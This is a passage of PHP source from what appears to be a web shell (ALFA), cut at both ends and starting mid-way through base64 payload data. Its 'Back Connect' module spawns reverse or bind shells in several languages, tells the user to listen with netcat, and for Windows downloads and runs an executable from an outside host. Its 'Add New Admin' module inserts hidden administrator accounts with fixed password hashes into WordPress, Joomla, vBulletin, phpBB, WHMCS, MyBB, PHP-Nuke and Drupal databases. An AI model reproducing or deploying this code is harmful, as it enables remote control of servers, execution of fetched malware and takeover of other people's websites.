3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG\/f1Z2t0tH0asyz\/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE\/GlaDQaPadLaXPEGkizH9kfbg\/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a\/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD\/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg\/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq\/LgV7fGSv85newFK6siun\/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b\/ecDPpOf8D\";\necho \"&lt;div class=header>&lt;center>&lt;br>&lt;div class='txtfont_header'>| Back Connect |&lt;\/div>&lt;br>&lt;br>\";\necho \"&lt;form onSubmit=\\\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\\\">\n&lt;div class=\\\"txtfont\\\">Mehtod:&lt;\/div> &lt;select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'>&lt;option value='back'>Reverse Shell&lt;\/option>&lt;option value='bind'>Bind Port&lt;\/option>&lt;\/select> &lt;div class=\\\"txtfont\\\">Use:&lt;\/div> &lt;select name='selectCb'>\";\n$cbArr = array(\"php\"=>\"Php\",\"perl\"=>\"Perl\",\"python\"=>\"Python\",\"ruby\"=>\"Ruby\",\"c\"=>\"C\",\"java\"=>\"Java\",\"node\"=>\"NodeJs\",\"bcwin\"=>\"Windows\");\nforeach($cbArr as $key=>$val){echo(\"&lt;option value='{$key}' \".($GLOBALS&#91;'sys']=='win'?'selected':'').\">{$val}&lt;\/option>\");}\necho \"&lt;\/select> &lt;div id='bcipAction' style='display:inline-block;'>&lt;div class=\\\"txtfont\\\">IP:&lt;\/div> &lt;input type='text' style='text-align:center;' name='server' value='\". $_SERVER&#91;'REMOTE_ADDR'] .\"'>&lt;\/div> &lt;div class=\\\"txtfont\\\">Port: &lt;\/div> &lt;input type='text' size='5' style='text-align:center;' name='port' value='2012'> &lt;input type='submit' value='>>'>&lt;\/form>&lt;p>&lt;div id='bcStatus'>&lt;small>Run ` &lt;font color='red'>nc -l -v -p port&lt;\/font> ` on your computer and press ` &lt;font color='red'>>>&lt;\/font> ` button&lt;\/small>&lt;\/div>&lt;\/p>&lt;\/center>&lt;\/b>&lt;\/font>&lt;br>\";\nif(isset($_POST&#91;'alfa1'])&amp;&amp;!empty($_POST&#91;'alfa1'])){\n$lang = $_POST&#91;'alfa1'];\n$ip = $_POST&#91;'alfa2'];\n$port = $_POST&#91;'alfa3'];\n$arg = ($_POST&#91;'alfa4']=='bind'?$port:$port.' '.$ip);\n$tmpdir = ALFA_TEMPDIR;\n$name = $tmpdir.'\/'.$lang.uniqid().rand(1,99999);\n$allow = array('perl','ruby','python','node');\neval('$lan=$'.$lang.';');\nif(in_array($lang,$allow)){\nif(__write_file($name,__get_resource($lan))){\nif(_alfa_can_runCommand(true,true)){\n$os = ($GLOBALS&#91;'sys']!='win')?'1>\/dev\/null 2>&amp;1 &amp;':'';\n$out = alfaEx(\"$lang $name $arg $os\");\nif($out==''){$out=\"&lt;font color='green'>&lt;center>&#91; Finished...! ]&lt;\/center>&lt;\/font>\";}\necho(\"&lt;pre class='ml1' style='margin-top:5px'>{$out}&lt;\/pre>\");\n}\n}else{\necho(\"&lt;pre class=ml1 style='margin-top:5px'>&lt;font color='red'>&lt;center>&#91; Failed...! ]&lt;\/center>&lt;\/font>&lt;\/pre>\");\n}\n}\nif($lang=='java'||$lang=='c'){\n$code = __get_resource($lan);\n$out = nl2br(bcinit($lang, $code,'',''));\necho(\"&lt;pre class=ml1 style='margin-top:5px'>&lt;center>{$out}&lt;\/center>&lt;\/pre>\");\n}\nif($lang=='bcwin'){\n$alfa = new AlfaCURL();\n$s = $alfa->Send('http:\/\/solevisible.com\/bc\/windows.exe');\n$tmpdir = ALFA_TEMPDIR;\n$f = @fopen($tmpdir.'\/bcwin.exe','w+');\n@fwrite($f, $s);\n@fclose($f);\n$out = alfaEx($tmpdir.\"\/bcwin.exe \".$_POST&#91;'alfa2'].\" \".$_POST&#91;'alfa3']);\n}\nif($lang=='php'){\necho \"&lt;pre class=ml1 style='margin-top:5px'>\";\n$code = __get_resource($lan);\nif($code!==false){\n$code = \"\\$target = \\\"\".$arg.\"\\\";\\n\".$code;\neval($code);\necho(\"&lt;center>&lt;font color='green'>&#91; Finished...! ]&lt;\/font>&lt;\/center>\");\n}\necho \"&lt;\/pre>\";\n}\n}\necho \"&lt;\/div>\";\nalfafooter();\n}\nfunction alfapwchanger(){\nalfahead();\n\necho '&lt;div class=header>&lt;center>&lt;br>&lt;div class=\"txtfont_header\">| Add New Admin |&lt;\/div>\n&lt;center>&lt;h3>';\n$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));\nAlfa_Create_A_Tag('pwchanger',$vals);\necho '&lt;\/h3>&lt;\/center>';\nif(isset($_POST&#91;'alfa1'])&amp;&amp;$_POST&#91;'alfa1']=='wp'){\n\necho __pre().'&lt;center>&lt;center>&lt;div class=\"txtfont_header\">| WordPress |&lt;\/div>\n&lt;p>'.getConfigHtml('wp').'&lt;\/p>&lt;form onSubmit=\"g(\\'pwchanger\\',null,\\'wp\\',\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n 'td8' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\n);\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>';\nif ($_POST&#91;'alfa2'] &amp;&amp; $_POST&#91;'alfa2'] == '>>'){\n$localhost = $_POST&#91;'alfa3'];\n$database = $_POST&#91;'alfa4'];\n$username = $_POST&#91;'alfa5'];\n$password = $_POST&#91;'alfa6'];\n$admin = $_POST&#91;'alfa8'];\n$SQL = $_POST&#91;'alfa9'];\n$prefix = $_POST&#91;'alfa10'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')\") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"select ID from \".$prefix.\"users where user_login='\".$admin.\"'\") or die(mysqli_error($conn));\n$sole = @mysqli_num_rows($solevisible);\nif ($sole == 1){\n$solevis = @mysqli_fetch_assoc($solevisible);\n$res = $solevis&#91;'ID'];\n}\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'\".$res.\"','first_name','solevisible'),(null,'\".$res.\"','last_name','solevisible'),(null,'\".$res.\"','nickname','solevisible'),(null,'\".$res.\"','description','solevisible'),(null,'\".$res.\"','rich_editing','true'),(null,'\".$res.\"','comment_shortcuts','false'),(null,'\".$res.\"','admin_color','fresh'),(null,'\".$res.\"','use_ssl','0'),(null,'\".$res.\"','show_admin_bar_front','true'),(null,'\".$res.\"','\".$prefix.\"capabilities','a:1:{s:13:\\\"administrator\\\";b:1;}'),(null,'\".$res.\"','\".$prefix.\"user_level','10'),(null,'\".$res.\"','show_welcome_panel','1'),(null,'\".$res.\"','\".$prefix.\"dashboard_quick_press_last_post_id','3')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\nif($_POST&#91;'alfa2'] &amp;&amp; $_POST&#91;'alfa2'] == 'joomla'){\n\necho __pre().'&lt;center>&lt;center>&lt;div class=\"txtfont_header\">| Joomla |&lt;\/div>&lt;p>&lt;p>'.getConfigHtml('joomla').'&lt;\/p>&lt;form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',\\'joomla\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n 'td8' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\n);\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif ($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa3'];\n$database = $_POST&#91;'alfa4'];\n$username = $_POST&#91;'alfa5'];\n$password = $_POST&#91;'alfa6'];\n$admin = $_POST&#91;'alfa8'];\n$SQL = $_POST&#91;'alfa9'];\n$prefix = $_POST&#91;'alfa10'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"users (id,name,username,email,password) values(null,'Super User','\".$admin.\"','\".$SQL.\"','d4a590caacc0be55ef286e40a945ea45')\") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"select id from \".$prefix.\"users where username='\".$admin.\"'\") or die(mysqli_error($conn));\n$sole =@mysqli_num_rows($solevisible);\nif ($sole == 1){\n$solevis =@mysqli_fetch_assoc($solevisible);\n$res = $solevis&#91;'id'];\n}\n$solevisible=@mysqli_query($conn,\"INSERT INTO \".$prefix.\"user_usergroup_map (user_id,group_id) VALUES ('\".$res.\"', '8')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\nif($_POST&#91;'alfa4'] &amp;&amp; $_POST&#91;'alfa4'] == 'vb'){\n\necho __pre().'&lt;center>&lt;center>&lt;div class=\"txtfont_header\">| vBulletin |&lt;div>&lt;p>'.getConfigHtml('vb').'&lt;\/p>&lt;form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,\\'vb\\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n 'td8' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\n);\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa2'];\n$database = $_POST&#91;'alfa3'];\n$username = $_POST&#91;'alfa5'];\n$password = $_POST&#91;'alfa6'];\n$prefix = $_POST&#91;'alfa7'];\n$admin = $_POST&#91;'alfa8'];\n$SQL = $_POST&#91;'alfa9'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());\n$pw_col = @mysqli_connect(\"SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'\");\n$pw_col = @mysqli_num_rows($pw_col);\n$adm_perm = \"16744444\";\nif($pw_col > 0){\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*&lt;QN','$SQL','\".date('Y-m-d').\"','\".time().\"')\") or die(mysqli_error($conn));\n}else{\n$adm_perm = \"2143256444\";\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\\$2y\\$10\\$YsVhV.9tLnzBYxar1BJAGO3vFz68\/qDU7Jt62SDdLy6lUT9N5Z\/wq','Qf~ADeA}iAey-&amp;#ALQF&lt;}\/uBDqSnw>','$SQL','\".date('Y-m-d').\"','\".time().\"','blowfish:10','1984-05-20')\") or die(mysqli_error($conn));\n}\n$solevisible=@mysqli_query($conn,\"select userid from {$prefix}user where username='\".$admin.\"'\") or die(mysqli_error($conn));\n$sole = mysqli_num_rows($solevisible);\nif($sole == 1){\n$solevis = mysqli_fetch_assoc($solevisible);\n$res = $solevis&#91;'userid'];\n}\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}administrator (userid,adminpermissions) values('\".$res.\"','\".$adm_perm.\"')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\nif(isset($_POST&#91;'alfa5']) &amp;&amp; $_POST&#91;'alfa5'] == 'phpbb'){\n\necho __pre().'&lt;center>&lt;div class=\"txtfont_header\">| phpBB |&lt;\/div>&lt;p>&lt;p>'.getConfigHtml('phpbb').'&lt;\/p>&lt;form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,\\'phpbb\\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n 'td8' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\n);\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif ($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa2'];\n$database = $_POST&#91;'alfa3'];\n$username = $_POST&#91;'alfa4'];\n$password = $_POST&#91;'alfa6'];\n$admin = $_POST&#91;'alfa8'];\n$SQL = $_POST&#91;'alfa9'];\n$prefix = $_POST&#91;'alfa10'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$hash = md5('solevisible');\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET username_clean ='\".$admin.\"' WHERE username_clean = 'admin'\") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET user_password ='\".$hash.\"' WHERE username_clean = 'admin'\") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET username_clean ='\".$admin.\"' WHERE user_type = 3\") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET user_password ='\".$hash.\"' WHERE user_type = 3\") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET user_email ='\".$SQL.\"' WHERE username_clean = 'admin'\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');\n}\n}\n}\nif(isset($_POST&#91;'alfa6']) &amp;&amp; $_POST&#91;'alfa6'] == 'whmcs'){\n\necho __pre().'&lt;center>&lt;div class=\"txtfont_header\">| Whmcs |&lt;\/div>&lt;p>&lt;p>'.getConfigHtml('whmcs').'&lt;\/p>&lt;form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,\\'whmcs\\',null,this.admin.value,this.email.value); return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n 'td8' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\n);\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif ($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa2'];\n$database = $_POST&#91;'alfa3'];\n$username = $_POST&#91;'alfa4'];\n$password = $_POST&#91;'alfa5'];\n$admin = $_POST&#91;'alfa8'];\n$SQL = $_POST&#91;'alfa9'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','\".$admin.\"','d4a590caacc0be55ef286e40a945ea45','\".$SQL.\"','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\nif(isset($_POST&#91;'alfa7']) &amp;&amp; $_POST&#91;'alfa7'] == 'mybb'){\n\necho __pre().'&lt;center>&lt;div class=\"txtfont_header\">| Mybb |&lt;\/div>&lt;p>&lt;p>'.getConfigHtml('mybb').'&lt;\/p>&lt;form onsubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\\'mybb\\',this.admin.value,this.email.value,this.prefix.value); return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n 'td8' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\n);\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif ($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa2'];\n$database = $_POST&#91;'alfa3'];\n$username = $_POST&#91;'alfa4'];\n$password = $_POST&#91;'alfa5'];\n$admin = $_POST&#91;'alfa8'];\n$SQL = $_POST&#91;'alfa9'];\n$prefix = $_POST&#91;'alfa10'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"users (uid,username,password,salt,email,usergroup) values(null,'\".$admin.\"','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','\".$SQL.\"','4')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\nif(isset($_POST&#91;'alfa8']) &amp;&amp; $_POST&#91;'alfa8'] == 'nuke'){\n\necho __pre().'&lt;center>&lt;div class=\"txtfont_header\">| PhpNuke |&lt;\/div>&lt;p>&lt;p>'.getConfigHtml('phpnuke').'&lt;\/p>&lt;form onsubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\'nuke\\',this.email.value,this.prefix.value); return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n 'td8' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\n);\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif ($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa2'];\n$database = $_POST&#91;'alfa3'];\n$username = $_POST&#91;'alfa4'];\n$password = $_POST&#91;'alfa5'];\n$admin = $_POST&#91;'alfa7'];\n$SQL = $_POST&#91;'alfa9'];\n$prefix = $_POST&#91;'alfa10'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$hash = md5($pwd);\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\nif(isset($_POST&#91;'alfa9']) &amp;&amp; $_POST&#91;'alfa9'] == 'drupal'){\n\necho __pre().'&lt;center>&lt;div class=\"txtfont_header\">| Drupal |&lt;\/div>&lt;p>&lt;p>'.getConfigHtml('drupal').'&lt;\/p>&lt;form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\'drupal\\'); return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)\n );\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif ($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa2'];\n$database = 